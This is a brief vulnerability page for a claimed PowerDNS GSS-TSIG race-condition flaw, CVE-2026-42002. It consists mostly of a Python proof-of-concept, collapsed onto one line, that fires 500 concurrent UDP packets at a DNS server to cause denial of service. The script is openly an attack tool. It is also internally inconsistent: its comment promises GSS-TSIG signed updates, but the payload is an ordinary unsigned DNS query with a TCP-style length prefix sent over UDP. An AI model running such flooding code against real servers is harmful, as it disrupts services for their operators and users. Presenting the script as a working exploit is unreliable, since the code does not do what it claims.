CVE-2026-42002 PowerDNS GSS-TSIG并发拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-42002: PowerDNS GSS-TSIG Race Condition # This script sends concurrent GSS-TSIG signed updates to trigger the locking defect. import socket import threading import time TARGET_IP = "127.0.0.1" TARGET_PORT = 53 PAYLOAD = b"\x00\x1e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03example\x03com\x00\x00\x06\x00\x01" # Simplified DNS packet structure def send_packet(): try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(PAYLOAD, (TARGET_IP, TARGET_PORT)) sock.close() except Exception as e: print(f"Error sending packet: {e}") def main(): print(f"[*] Starting DoS attack against {TARGET_IP}:{TARGET_PORT}...") threads = [] # Spawn multiple threads to simulate concurrency and race condition for i in range(500): t = threading.Thread(target=send_packet) threads.append(t) t.start() for t in threads: t.join() print("[*] Attack packets sent.") if __name__ == "__main__": main()